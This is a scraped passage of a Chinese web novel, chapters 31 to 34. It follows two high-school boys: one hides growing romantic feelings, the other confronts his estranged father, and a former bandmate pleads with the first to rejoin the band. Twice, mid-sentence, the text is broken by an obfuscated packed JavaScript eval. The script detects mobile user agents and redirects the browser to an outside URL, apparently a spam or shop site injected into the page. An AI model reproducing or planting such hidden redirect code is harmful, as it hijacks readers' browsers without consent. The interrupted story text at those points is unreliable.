孔栩这样爱憎分明的人,大概连一秒钟都不愿意忍受他吧。 邱以星越想越灰心,好像事情已成定局,再不可更改,他和孔栩注定会分道扬镳,走上不同的道路。 而后下一秒,邱以星鬼使神差地靠近孔栩,他掌心撑住冰凉的墙壁,小心翼翼地上前,蜻蜓点水碰了一下孔栩的嘴唇。 除了热和软,什么滋味都没尝出来,邱以星的大脑却轰然发出一声巨响,他捂着脸跌坐在地,心脏狂奔,神魂要挣出他的躯壳飞离天外。 此刻房门突然被人从外面敲了两下,老板推门而入。 老板手里拎着一个大塑料袋,袋里装着各种吃的喝的,见到孔栩和邱以星都坐在地上,心里只是有些纳闷,把袋子往邱以星怀里一扔:“喏,让那小子多喝点牛奶。” 孔栩听见说话声悠悠转醒,揉了下眼睛,望见邱以星怀里的袋子明白过来,忽然对老板说:“要不你当我爸爸吧。” 老板敬谢不敏:“你可拉倒吧,我可养不起你这么金贵的儿子。” 孔栩仰脸一笑,没再多说,老板转身离开,他带着一点疑惑,凑近瞧邱以星:“你脸怎么这么红,干什么坏事了?” 邱以星紧紧抿着嘴唇,一个字都没说。 他把袋里的牛奶拧开递给孔栩,同手同脚地坐回琴凳,像上了发条似的一拨一动,表面云淡风轻静坐在钢琴前,实则内心鸡飞狗跳,炮火连天,被掀飞的碎裂砖瓦遍地都是,他无法捡拾,不能拼凑,只好静静地、静静地等待硝烟散去。 31. 第 31 章 邱以星晚上给孔栩发了条消息,说自己有点不太舒服,明天就不去旧书店了。 过了好一会儿,孔栩给他回了个语音电话。 孔栩问他哪儿不太舒服,邱以星支支吾吾说自己有点感冒,头晕乎乎的,想在家休息一下。 “好吧,”孔栩费尽千辛万苦地洗完澡,头发还滴滴答答地落着水,“那你好好休息吧。” 没说两句,两人就挂了电话。 邱以星从旧书店回来后一直魂不守舍,直接把自己关在房间里。晚上尚问兰叫他出来吃饭,他借口说自己下午零食吃太多,吃不下,尚问兰又问要不要给他泡一杯牛奶,说到牛奶,邱以星立马想到一下午喝了三瓶酸奶的孔栩,连忙说:“不想喝,妈,您别忙活了。” 他坐在电脑前,打开浏览器搜:一个男生喜欢另一个男生怎么办? 下面跳出一个关联词——“同性恋”。 在邱以星生活的年代,同性恋远非二十多年前那样隐晦、不可诉之于口的话题。喜欢同性即使依旧小众,放如今也不再被人人喊打,甚至有些人把它当做一个时髦标签,为了彰显自己的与众不同,故意贴上该标签,博得他人关注。 在他们班就有女生爱看这种小说与漫画书,并乐此不疲地分享其他同学,有人嗑生嗑死大呼救命,有人则持无所谓的态度,并不感兴趣,但都统一地司空见惯,并不把它当做是天大的异事,一旦出现就得嘟嘟嘟地响警报。 不会被当众批判并不代表不会得到异样的眼光,他们都是局外人,局外人最热衷八卦、绯闻,越离奇越惊心动魄越好,是茶余饭后的最好消遣,邱以星做不到大肆宣扬自己的性取向,更不可能做到向孔栩坦言说我喜欢你。 他关掉电脑页面,谨慎地清空搜索记录,在桌前静坐了许久,心底里那个声音又悄悄地冒出一个芽尖,鬼魅一般缠住邱以星,对他轻声说:邱以星……你是邱以星吗?其实你不是邱以星对不对? 可他不是邱以星还会是谁呢? 那是邱以星醒来之后的第一次失眠。 直到凌晨三点,他的身体困倦到极致,才合上眼皮沉沉睡去,失去意识之前,他想,他应该要离孔栩远一点,说不定喜欢孔栩只是个错觉。 另一边闲得没事干的孔栩上午在家别出心裁地用左手练字,他抬高右手,将宣纸铺在客厅的大饭桌上,打算临摹赵孟頫的《洛神赋》。 毛笔和墨水都是他幼年压箱底的玩物,毛笔干枯炸毛,他泡水里润了半天,墨倒没有褪色,显得更黑,他擦干毛笔蘸了蘸墨水,做足派头,还没落笔就仿佛成了新生代的书法大师,待写下一个“黄”字,他皱起眉,觉得新一代书法大师就此夭折,于是不再写《洛神赋》,开始在纸上画五线谱。 他除了擅长诡辩,也擅长跟自己玩,画了半天不亦乐乎,这时门咔哒一声打开,他以为是何斯清回来了,没想到回头见到的是那天晚上在客厅看见的男人。 男人换了一身灰色的休闲装,显得年轻,气度非凡,似乎没料到孔栩在家,停在玄关处与满脸不解的孔栩面面相觑,他露出一个亲切又有些尴尬的笑:“你在家呐?你妈妈跟我说你和同学出去学习了。” “我今天没去。”孔栩放下毛笔,大人似的走到他面前,“叔叔,您来有什么事吗?” “你妈妈说卫生间的灯泡不亮,让我换个灯泡。”男人晃了晃手里的盒子。 孔栩“哦”了一声,拿过盒子,确认里面的确是灯泡后,便让出一步,让男人进了客厅。 男人轻车熟路地换过拖鞋,见到孔栩的右手,刚要说话,孔栩飞快地赶在他之前说:“不是弹琴弹的。” “还疼吗?”男人关切地问。 “不疼,就是不太方便。”孔栩说,“不然这灯泡我也能换。” 男人点点头,随后见到桌上孔栩瞎涂的一系列大作,眼睛微微一眯,笑道:“你还会画画呐?” “画着玩的。”孔栩脸一红,把宣纸扯下来,卷成一团扔到垃圾桶。 他手上沾了墨水,黑乎乎的又洗不干净,只好暂时放半空晾着,他既不殷勤帮忙,也不冷漠回房,反而靠在卫生间门口,像监视家里出现的一只老鼠,警惕它的行动路径,生怕它会钻到哪个不为人知的角落。 男人三下五除二就换好了灯泡,按了好几次开关,明亮无异常。 他拍了拍手上的灰,对孔栩说:“这样就没问题了,我先走了。” 孔栩假模假样地留他说:“叔叔,不喝杯水吗?” 他甚至连水都没烧。 男人摇头:“不喝了。” “叔叔再见。”孔栩冲他挥挥手,“谢谢您啦。” “不客气。”男人走向玄关,孔栩此刻却猝不及防问出那个一直盘旋在他心里的问题:“叔叔,我妈妈为什么放心把家里的钥匙给您啊?您和她是什么关系?” 男人的动作一顿。 他慢慢地抬起头,几个呼吸之间他想了很多,索性直接告诉孔栩,免得他一直胡思乱想。 “孔栩,”男人说,“这把钥匙是我自己的。” 孔栩更是一头雾水,难道他自己配了一把钥匙:“什么意思?” “我叫孔嘉年,”孔嘉年望着孔栩满是疑惑的眼睛说,“‘栩栩梦游心自适’,你的名字是我取的,我希望你快乐、自在。” 孔栩仍旧是那副怔愣的模样,孔嘉年继续说:“我去你学校看过你,只是太远了,你走路又快,没来得及跟你打招呼,后来又找不到合适的时机,我想着就先不打扰你,那天晚上见面太仓促,我一时间没想好措辞,就没跟你说。” “哦。”孔栩应了一声,声音轻轻的,目光落在孔嘉年的拖鞋上,拖鞋上印着两个凸起的大眼球,他当时觉得丑,不爱穿这双,心想现在终于有机会把这丑玩意扔了。 孔嘉年见他这样的反应,没动,多嘴问了一句:“你有什么想跟我说的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016808|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孔栩说:“你想听啊。” 孔嘉年没跟孔栩相处过,摸不清孔栩的脾性,只听何斯清嘴里听过几句这孩子脾气大,闹毛了就翻脸。 “你这人真挺有意思的,一套一套的,把自己都骗过去了吧?”孔栩笑了笑,笑是皮笑肉不笑的那种,笑完他深深吸了口气,开始一顿输出,“太远了?太远你不会走近点儿?我走路快,你不能再走快点儿?你是腿断了?时机?你想要什么时机?时机都是狗屁,都是借口,你没想好是因为你不敢面对我!” 孔嘉年的脸在孔栩咄咄逼人的话语里骤然发白,孔栩朝他大喊:“你现在出现在我和我妈面前是什么意思?不会是想跟她复婚吧?!我第一个不答应!” 生活真是爱给人开玩笑,这人竟然是他亲生父亲,孔栩就是想破头也想不到这个人有胆量堂而皇之地走进他们家大门,面对面跟他说什么“我希望你快乐自在”,简直太荒唐、太可笑了!他算个什么东西! “滚!”孔栩把他往门外一推,又把他穿的鞋一并扔了出去,“再来我就报警,说你私闯民宅!” 孔嘉年被儿子骂得跟孙子似的,脸上实在挂不住,他重重叹了口气,转身走了。 屋里的孔栩气得五脏要爆炸,可戴了支具的右手非常影响他摔东西,他只好怒气冲冲地坐在沙发上,死死咬着嘴唇,想给何斯清打电话问她把前夫带回家,还让他换灯泡是什么意思。 他在沙发上坐了很久,久到心里的愤怒渐渐熄灭,给何斯清打电话的念头也如一个泡泡,啪的一下消失了。 孔栩不想让何斯清知道自己与孔嘉年进行了一场并不愉快的对话,或者他希望何斯清明白自己的态度:不支持不接受,纯粹地无视。 哪怕是孔嘉年告诉何斯清,他也要在何斯清面前保持淡定,不能像个无理取闹的孩子在她面前哭闹,这只会让她觉得他确实需要另外一个男人来管教。 想到这孔栩彻底冷静了,理智也回笼,有点庆幸自己没在家里搞破坏,不然还要费力收拾。 中午他用微波炉把饭菜热了热,没什么胃口,就吃了几口,吃完单手洗了碗筷,回到自己房间。 房间依旧是他住了快十六年的房间,可此刻令他觉得有几分冷清,他单手弹了一会儿琴觉得特别没意思,忽然升起一缕说不清道不明的寂寞来。 他从来不会感到寂寞,他永远能想方设法跟自己玩,或许是这段时间一直跟邱以星在一块,在班里也总是热热闹闹的,让他有些不习惯一个人了。 于是他给邱以星打电话,电话一直处在忙音中,孔栩挂断后又打了一个,依旧是没人接。 邱以星昨天确实说他不太舒服来着,孔栩在房间里踱了几步,思来想去要不要去看邱以星一眼,他知道邱以星家住哪个小区,只是不知道具体位置。 有着超高行动力的孔栩说干就干,他给邱以星发了一条微信:你还不舒服么?我来看你,大概十分钟到,在你家小区门口见。 32. 第 32 章 不接孔栩的电话是邱以星故意的,他怕听到孔栩的声音会动摇,可孔栩似乎没有领会他的拒绝,在微信给他发了一条消息。 孔栩头像是一片羽毛,羽毛的右上角出现了一个红色的“1”。 邱以星原本计划躺床上午睡两小时,可一看到短信,他掀开被子跳下床,朝楼下狂奔而去。 二十分钟后孔栩姗姗来迟,他单手拎着一袋水果,慢吞吞地往邱以星家的方向走。 孔栩知道看望病人不可以空着手,在车站附近的水果店左挑右选了几个水蜜桃和大橙子,都是他喜欢吃的。 他拎着水果不方便看手机,还没到邱以星家小区门口,邱以星便老远迎了过来,他三步并两步,带起一阵风,把孔栩手里的重物拎过去。 东西沉得很,袋子勒手,孔栩手里有一道泛白的痕迹,邱以星不明白他都“上身不遂”了,还这么折腾干什么,以至于语气不怎么和善:“不是说十分钟吗,为什么不看手机?你就不能在家好好歇着吗?” 孔栩对他笑:“我歇一上午了,歇够了。你好点了没有,头还晕不晕?” 邱以星一下就闭嘴了。 孔栩偏了下头,打量他:“嗯?怎么了?” “没怎么。”邱以星紧攥着水果袋,朝孔栩干巴巴地笑了一下,“谢谢。” “客气什么。”孔栩脑袋四下乱转,这地方离他家不远,可却没来过,他感到有些新鲜。 午后的太阳还是热的,邱以星跟孔栩就站在被太阳直射的地方,孔栩的脸很快就晒得发红,邱以星忽然伸手罩在孔栩脸上,不小心碰到了,孔栩故意贴了一下:“你的手怎么这么凉快。” “走,去边上。”邱以星放下手将他往身后扯了扯,他不想带孔栩回家,又不想让孔栩立即回去,心里充斥着难解的矛盾,眼睛一扫对面的各种小商店,指着其中一家奶茶店,对孔栩说,“我请你喝奶茶。” 孔栩也缺乏在奶茶店跟人聊天的经历,欣然同意。 非工作日的这个点,奶茶店里的人爆满,外卖单长长的拖到地面,邱以星和孔栩排着队,邱以星问孔栩喝什么,孔栩指着新品图片说:“这个,南瓜波波牛乳。” 邱以星点了一杯桂花栗子奶茶,两人找了个角落里的小圆桌坐下来。 孔栩喝着南瓜波波牛乳,很浓郁的南瓜味和奶味,南瓜被研磨成细腻的糊状,孔栩挺喜欢的,嘴就一直衔着吸管,顾不上跟邱以星说话。 邱以星心不在焉地喝栗子奶茶,错要了七分糖,甜到甚至发苦,他喝了一口就不想再碰,对孔栩说:“等会我送你回家吧。” 孔栩垂眼没说话。 邱以星觉得孔栩有几分奇怪:“你怎么了?” 孔栩一口气下去,奶茶被他喝了一半,他闷闷地说:“我不太想说。” 一定发生了什么事,可孔栩不愿意告诉他。 邱以星说不上来心里什么滋味,再亲密的朋友也有秘密,邱以星并不为难孔栩,孔栩抬起眼,小声又问:“要不这样吧,咱们来玩个游戏。” “什么游戏?” “‘我问你答’。”孔栩说,“你问了我,我也要问你,这才算公平。” “其实我也不是特别想知道。”邱以星的回答不在孔栩设想之内。 孔栩愣了一下,意识到他又在逗自己,伸手一拍邱以星的胳膊,无理取闹道:“不行,必须玩!” 邱以星假意被胁迫,勉强同意:“好吧,玩,谁先问?” 孔栩:“谁先喝完奶茶谁先问。” 邱以星:“……” 他算是败给孔栩了,无奈:“我还有的选吗?你先吧。” “听说你早恋了,和谁?”孔栩两手握着奶茶杯,很感兴趣地压低声音问。 “早恋”这词猝不及防地兜头朝邱以星砸过来,邱以星脊背一毛,面上却不显露半分,佯装懵懂的样子,听孔栩继续说:“是柴晓驰怀疑你早恋,耽误你学习,他让我转告你,‘在高中,学霸的爱情是青涩芬芳的爱之花,学渣的爱情则是一丛荆棘和杂草’,他这个园丁最爱干的事就是清理杂草,要是被他抓到,他迟早把你们这两根草连根拔了。” 邱以星真诚地苦笑:“我就不能单纯是个学渣?” 孔栩仔细端详邱以星的面部表情半晌:“真没有啊?” 邱以星:“轮到我了。” 孔栩摊手:“好吧,请问。” “为什么不开心?” 孔栩沉默片刻,他向来没有找他人倾诉自己苦恼的习惯,遇到不开心的事情就憋着,或者自己找个地儿躲起来,等心里那阵难过过去,他也就恢复得差不多了。 邱以星的问题不难回答,他又不想敷衍了事,想了一会儿才开口:“我碰到我爸了,亲的,就是之前跟你说过的,我以为他是我妈正在交往的男朋友。” “你没见过他?” 孔栩摇头:“没有——不对,这是第二轮,该我问了。” 邱以星:“你问。” “我一直很好奇,你前段时间是不是被驱过邪?祛除了什么不干净的东西?” 邱以星听他越问越离谱,无言以对:“没有,我们家不搞迷信那一套。” 孔栩“哦”了一声,邱以星接着刚刚的问题说:“你没有见过你爸爸?” “我印象中没有,也可能很小的时候见过,但一点印象也没有。”孔栩如实回答,“他突然跟我说他是我爸,还说什么我的名字是他取的,我真是被他恶心坏了,一个名字有什么了不得的,搞得好像天大的恩惠,我现在就能去派出所改了。” 邱以星:“别,现在改学籍得跟着动,很麻烦。” 孔栩随口一问:“你怎么知道?你改过啊。” 没想到邱以星却点了下头:“小时候改过一次名。” 孔栩顿时好奇起来:“你小时候叫什么名?” 邱以星觉得告诉他也没什么,刚要张口,眼角余光忽然瞥见奶茶店里又进来两个人。 注意到他们是因为他们其中一人染着一头极为扎眼的黄毛,像是顶着一个金光璀璨的太阳招摇过市,该黄毛对店员说要两杯芋泥麻薯,点完之后两人等待的工夫开始咕叽: “还等啊,等多久了都,你就不能给他打个电话让他出来一趟么。” “放屁,他要是接我电话,我至于在这蹲点吗?” “那你蹲这么多天怎么还没蹲到?” “啧,我们职高也是要按时上下学的OK?” 孔栩见邱以星侧着头,不由得也看过去。 邱以星不自觉地靠住椅背,往下滑了几厘米,试图把自己缩小成看不见的一团。 可怕什么来什么,那两人拿到奶茶,视线在店里转了一圈,黄毛身形一顿,精准地捕捉到那个化成灰他也认识的身影,他不可置信地原地愣了两秒,然后飞快往前一拍邱以星的肩膀:“邱哥!” 唉。邱以星把眼睛重重一闭。 主观唯心主义认为,存在即是被感知,邱以星试图闭上眼不看此人,就可以装作此人不存在。 “邱哥,你醒醒啊,别睡了。”彭天用力晃邱以星的肩膀,邱以星只好睁开眼,世界不会因为他闭上眼而不存在,此人也不会因为他装睡而放过他。 邱以星坐直身体,看向彭天,打了个不咸不淡的招呼:“嘿,下午好。” 孔栩则是叼着吸管,在一旁打量黄毛和邱以星。 “别不接我电话了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016809|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我错了,不应该打你那一拳,全小潭和尧哥都教育过我了。”彭天见旁边那桌人走了,直接将椅子拖到他们这一桌,强行挤到孔栩和邱以星之间,低声下气地向邱以星讨饶,“邱哥,要不你打回来,我绝不还手!” 孔栩听出了个大概,之前某一天邱以星和黄毛发生过矛盾,黄毛后悔求原谅。 人都有一丝八卦之心,要看是否触及到自己感兴趣的点,目前孔栩对邱以星很感兴趣,只恨面前是奶茶而不是瓜子,不然他好歹得磕个两斤。 “没事,过去了。”邱以星温和地对彭天说,“这谁?你要不也坐下来?” 彭天旁边的王延闻言也拖了把椅子,严丝合缝地将只够两人坐的小圆桌给挤得水泄不通。 “这我们新招的键盘手,王延。”彭天迫不及待地对邱以星介绍说,“他很不错,上礼拜全小潭在外面玩,看到他在街头演出,就问他要不要跟我们一块玩,他答应了。” “挺好的,”邱以星看了一眼王延,这人光是看着就比全小潭和彭天靠谱,脸上完好无损,没戳什么洞,也没有显眼纹身,模样端端正正,即使不玩乐队,以后找个正经工作应该也没什么问题,“加油。” 王延莫名被鼓舞,懵懂地点点头:“好的。” 彭天满怀期待地问邱以星:“邱哥,人都齐了,所以你打算什么时候回来?” 孔栩的南瓜波波牛乳已经见底,他没有开口的打算,扭头看向邱以星,听他怎么说。 邱以星不明白此人为何如此固执,轻声叹气,看向彭天:“我说过了,我不会回去了,气象台我退出,你们既然能找到王延,也能够找到更好的吉他手,未必非要我参与。” 孔栩微微张大了眼睛。 王延差点把嘴里的奶茶喷出来——这几个意思啊?吉他手不干了?他们乐队到底靠不靠谱啊? 彭天年轻而额头青筋毕露,把塑料吸管给掐折了,他压抑着涌上来的怒气,重复问邱以星:“为什么?你为什么要这样?我们之前不还是好好的吗?” 邱以星始终沉默,彭天极力控制自己的暴躁,努力平复心情,挤出一个扭曲的笑容:“邱哥,你知道吗?最近有个很火的音乐选秀在报名,我觉得我们可以去试试,听说徐如夜当评委,就算不能入围,见见徐如夜不也挺好——” “彭天,”邱以星打断他的话,“如果你们成名大火,我会由衷地为你们感到高兴。” 彭天的声音有些颤抖:“……那你呢?” “真的算了吧。”邱以星说,“别考虑我了。” 彭天捏着的拳头咯咯作响,眼看着即将失控,孔栩淡淡地张口说:“那什么,如果在公共区域动手,作为热心市民,我可是会报警的。” “你算哪根葱?”彭天恶狠狠地吼他,“有你妈的什么事儿啊?我认识他的时候,你还不知道在干什么呢!” 孔栩嗤笑一声,正要跟他呛起来,他生平最恨别人拿他妈当话题,邱以星见他上身往前一倾,像个小战斗鸡一样毛一抖,即将发作,忙拉住孔栩,转动身体把孔栩挡在背后。 他没好气地对彭天说:“行了,彭天,这事没得商量,我也不想多说。以后如果能当朋友,就偶尔碰面吃个饭,不想当就互相拉黑,我不碍你的眼。” 彭天顿时石化在原地,平时不是没见过邱以星生气的样子,可从来没跟他们说过这样重的话,这是要跟他绝交吗? 他心里一寒,此刻一位店员麻溜儿地小跑到面前,低声询问他:“这位客人,请问您遇到什么困难了吗?” 彭天委屈极了,连日的努力全部付诸东流,内心混合着不甘与失落,终于流下两行清泪:“呜呜呜哇……我遇到困难了,可是我解决不了……” 33. 第 33 章 最后哭哭啼啼的彭天是被王延和邱以星两人架出去的,他哭得肝肠寸断,眼泪鼻涕一通流,邱以星不明白他到底号的哪门子丧,搞得好像他已经不在人世一样。 不过从其他角度看,彭天号的另有其人。 结果还是不欢而散,彭天抹了把脸,双眼通红地指着邱以星说:“是我没有看清你,你竟然是这样出尔反尔的人,你会遭报应的邱以星。” 他的目光又刺向孔栩,讥讽之意溢于言表:“你刚刚帮他讲话,你们关系很好是不是?” 孔栩“啊”了一声,皱眉看他。 彭天恨恨地说:“和这样的人做朋友你会后悔的。” 邱以星紧紧绷着脸,孔栩却笑了一下:“不劳你费心,人生里要后悔的事多了去了,不多这一件。” 彭天脑子里的词汇有限,想不出话反驳这个不听劝告的人,又因哭得太狼狈,搞得他觉得有些丢脸,于是他扭头大步而决绝地走了,王延忙跟邱以星和孔栩挥挥手,对彭天喊:“别走那么快,你等等我啊。” 等人走远了,孔栩才问:“你为什么从乐队退出?” 邱以星:“我以为游戏结束了。” 孔栩:“不好回答吗?” 邱以星:“没有……我只是不想弹吉他了。” 孔栩点点头,仿佛很理解似的:“我也是,其实我有时候也特别不想弹琴。” 邱以星微微笑了:“可能跟你的还不太一样。” 孔栩见他表情略有古怪,不以为意地说:“无非是懒、累、练久了失去新鲜感,还能是什么?” 邱以星顺其自然地搀起他的左手,带着他往车站的方向走:“说不定是我在某天突然间醒来,发现自己其实并不会弹吉他?” 这句话令孔栩感到困惑,他直觉邱以星的表达不对劲,却又说不上来为什么,他轻轻一拍邱以星的手掌:“你是不是对自己要求太高了,你的吉他弹得已经很好了。” 邱以星无声地摇摇头,不是这个意思,但他默认孔栩说得对:“谢谢。” 孔栩扭头:“你是不是故意想让我夸你?” 邱以星:“小木鱼,不要吝啬对他人的赞扬,‘赠人玫瑰,手有余香’听过吧。” 孔栩立即把手伸到邱以星鼻子下面:“余香?什么味道的?” 邱以星竟然还认真地闻了一下:“嗯……墨水的味道。” 孔栩震惊:“没错,我上午练字来着,可我洗了好几遍手,还有味道吗?” 邱以星:“没事,挺好闻的。墨水味显得有文化。” 孔栩自己闻了闻,没闻出什么味道,邱以星是狗鼻子吗?这么灵敏。 他俩站在路边等车,孔栩家离邱以星家也就五站路的距离,每天邱以星就在对面的站台等车,孔栩会坐在一个靠窗的固定位置上朝他挥手,看见孔栩他才会上车。 送孔栩离开的时候,他顿时生出一股强烈的不舍,不想让孔栩走,孔栩显然没看出他的念头,邱以星挣扎了两秒钟,索性跟孔栩一块上车,孔栩疑惑,他美名其曰:“说好了送你回家的。” 孔栩乐得有人解闷,他让邱以星坐在自己左边,邱以星拎着的那大袋水果被邱以星勾在胳膊上,孔栩舔了一下嘴唇:“我能不能吃一个橙子,买的时候我就想这么大,一定很甜。” 邱以星:“到底是给谁买的?” 孔栩就哄他:“哎呀,别这么计较啦,我大老远不辞辛苦过来看你,可以吃一个橙子的吧。” 邱以星:“下车给你剥。” 五站路很快就到,他俩找了个树荫浓密无人经过的地方,一齐蹲下,孔栩指着最大的那个橙子:“这个吧。” 橙子是果冻橙,剥起来不费力气,邱以星把橙子皮装进袋子里,手指上沾了一点橙子的汁水。 孔栩期待地看着,剥好后,邱以星喂了孔栩一瓣橙子,的确如孔栩想的那样甜,比奶茶还要甜,凉津津的,解渴又解腻,孔栩让邱以星也吃,两人便蹲着分食同一颗橙子。 一边吃一边笑,也不知道哪里好笑了,孔栩觉得如果气味能够代表记忆,那么关于这一天,一定是清新芬芳的橙子味。 * 接下来是十月份的第一场模拟考,一整天都在考试,即使孔栩右手不便也没能幸免于难,选择题左手勾完,课下去办公室给老师们口述计算过程与答案,好在孔栩在学习上没有丝毫怠惰,基本与之前的排名一致,让一直担忧他的柴晓驰大大松了口气。 而邱以星在孔栩连日的辅导下,终于有了显著的进步,终于不再倒数,上升了十个名次,在班级排名第三十六。 可这明显不是柴晓驰想要的,对着他各科的试卷唉声叹气,最后还是给他爸爸打了个电话,告知他邱以星的成绩大幅度下滑,并询问他邱以星在家里是否有什么异常的表现,或者家中是否遭遇什么变故,影响了孩子学习。 邱远接到班主任的电话,诚惶诚恐地听了一耳朵教育孩子苦口婆心的大道理,他也跟着附和了两句:“是是是,柴老师您说得对,我回去就好好教育他要好好学习,怎么刚开学就掉链子,实在是太不应该了,柴老师真是辛苦您了……还有,您哪天有空,我想带着孩子跟您吃个便饭。” 刚直不阿的柴晓驰连连拒绝:“不用,真不用。” 挂了电话,两厢不约而同重重叹了口气。 邱以星觉得自己考得还挺好,孔栩也安慰他说有进步,下一次考试就能进前二十,期末说不定能考前十,以他目前的努力肯定没有问题。 放学后,邱以星照例跟孔栩在琴房一起写作业,现在写作业基本只有个别题目不会,孔栩教完后也差不多能弄懂,剩下的时间他会再弹一会儿琴。 琴也弹得像模像样了,难度高点的也能弹,孔栩单手附和他,狭小的琴房满是悠扬的音乐声,充盈着邱以星的心房,这种感觉令他很想要表达些什么,灵光乍现,于是不由自主地哼起一首曲子,全然陌生,又令他心中一阵悸动。 孔栩随意地在琴键上弹了几个音,正是邱以星哼的曲调,意外的和谐动听:“这是你的新歌吗?” 邱以星有些脸红:“是我乱哼的。” 孔栩:“把笔和草稿纸给我。” 邱以星依言拿给孔栩,孔栩趴在桌上用左手笨拙地写着简谱,只写了两行,邱以星就哼了这些:“还有吗?” “没有了。”邱以星说,“别记,没什么好记的。” “这可不行,灵感转瞬即逝,要好好抓住啊。”孔栩把纸递给邱以星,他点了点自己的脑袋,“我的脑子也记下来了,以后有想法再继续,我挺喜欢的。” 邱以星听着这话就不再拒绝,接下孔栩写了简谱的草稿纸,揣进书包里。 两人像往常一样分开,邱以星呼吸着夜晚冰凉的空气,按下自家的楼层。 后来每次坐电梯,他都会想起孔栩握他的手,告诉他以后不要再恐惧,想着他就好的样子。 邱以星不由得低头抿嘴 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邱远:“那为什么名次降得这么厉害?你都垫底了,你从来没考得这么差过!” 此时在外散步的尚问兰回来了,听见父子俩的对话,连忙走过来,她把邱远往后拖了两步:“行了,声音这么大,我在外面都听到了。” 邱以星仍旧沉默地看向邱远,好似邱远不是他的父亲,而要变成其他的生物,可以让他好好审视、打量、观察。 “你看看你的宝贝儿子!他那是什么眼神!”邱远越发激动,“说你两句还不能说了?!” “我成绩一直都很差劲,你把我从奶奶那里接回来之后,我不是一直都垫底吗?”邱以星淡淡地说,“爸爸,难道你不记得了?” 尚问兰紧攥着邱远的衣服,面色惊恐地看着邱以星,听到邱以星又说:“还是说你们把我当成哥哥了?” “哥哥”这个词,已经有将近两年没有出现在这个家中,是家里绝对的禁忌。 只要不提起,大家都可以装作无事发生。 此刻家里就如同坟场一般安静,或许在更早前已经是坟场,只是大家还没意识到自己是这片坟场上的活死人,经邱以星一提醒,冲天的腐烂与血腥气倏地降临,将在场的所有人笼罩在里面,邱以星听到耳膜里血液流动的汩汩声,他痛得好似撕下一片淋漓的血肉。 尚问兰张了张口:“宝宝,你最近是不是压力太大了,胡说什么呢。” 邱以星看着她,冷笑一声,邱远僵硬在原地,一动不动。 尚问兰走到邱以星身边,小心翼翼地推了他一下:“好了,别跟你爸置气,他还不是为了你好,先去洗个澡,好好休息,我给你煮杯牛奶。” 邱以星低头看她一眼,她已经不年轻了,眼角的细纹蔓延开去,眼中遮不住的浓厚的悲伤与痛苦。他最后还是老老实实地闭上了嘴。 他意识到,只要看见尚问兰的这双眼睛,他总会妥协。 是这个女人给了自己生命,哪怕自己内心有再多不甘、再多埋怨,他也不能对她发泄。 她想要的也不多,无非是自己多装装邱以睿的样子,让她觉得邱以睿还活着,为什么要戳破她的幻想呢? 邱以星说了句“不要放糖”,便回房找睡衣洗澡去了。 可牛奶没有缓解他的疲惫,他睁着一双眼睛,熬到了天蒙蒙亮。 34. 第 34 章 一夜没睡,精神却莫名亢奋,邱以星感觉大脑比平时更加灵敏,眼皮也微微地发着热。 上午听课效率奇高,专注得跟平时判若两人,下课抓紧时间写练习,连孔栩拍他肩膀,他也没感觉到,最后还是闻旋看不下去,大声对他说:“小木鱼找你。” 孔栩找他没什么事,单纯就是想找他说话,邱以星回过头,见他托着下巴笑眯眯的样子,一愣:“怎么了?” “我昨天回家一直在想你哼的那几句,然后我往下又编了两句,你介意吗?”孔栩问。 “哦,我还以为什么事,”邱以星说,“当然不介意……你这么喜欢啊。” 罗鸣玉突然“啧”了一声,拧起眉头上上下下扫了他们一眼:“我怎么觉得最近你俩这么腻歪呢。” 嗅到八卦气息的闻旋也扭过头,问孔栩:“我们家敏敏有没有给你发消息?” 孔栩诧异:“敏敏是谁?” 闻旋:“薛敏啊,上回你们在KTV见过的,我闺蜜。” 孔栩后知后觉浮现出KTV里薛敏的样貌,不过是模糊的,只有个大致的形象:“想起来了。” 闻旋眼珠一转,旁敲侧击起来:“小木鱼,问你是个事儿行不行。” 孔栩大大方方地点头:“你问。” 闻旋:“你喜欢什么样的女孩儿啊。” 孔栩又不是傻子,这问题的倾向性太明显了,他直接说:“你给薛敏问的?” 闻旋干笑两声:“我说不是你信吗?” 孔栩说了一个让两方都不会尴尬的回答:“我没有早恋的打算,我妈会打死我的。” 闻旋听懂了他的潜台词,心说也好,让薛敏死心,以后别缠着她问孔栩这个那个的事,她也挺烦的。 邱以星也听到孔栩的话,他神色一黯,默默地回自己桌上趴着了。 这时候一股铺天盖地的困意席卷而来,还剩一节课放学,邱以星强行打起精神,撑过四十五分钟,好不容易熬过去,邱以星的眼皮几乎黏在一起,恨不能立即倒地睡死过去。 大家都在收拾书包打算去食堂打饭,邱以星揉了揉发红的眼睛,也跟着一道去打饭,这些天孔栩的饭都是他打的,他不能晚了让孔栩饿肚子,还没走出两步,教室门口响起一道声音:“孔栩。” 邱以星头一抬,后背哆嗦了一下,顿时清醒了。 这是他小时候见过的何老师,这位何老师在少年宫教过奥数,脾性暴躁,吓哭过不少小朋友,自此声名远播,也令他闻风丧胆。 他几乎本能地挺直脊背,脱口而出:“何老师好。” 何斯清看了他一眼,朝他点点头,寒暄道:“嗯,听孔栩说最近一直是你帮他打饭,谢谢你。” 邱以星毛骨悚然:“您……” 孔栩走过来,喊何斯清:“妈,您怎么来了。” 邱以星瞪大眼睛:“这是你妈?” 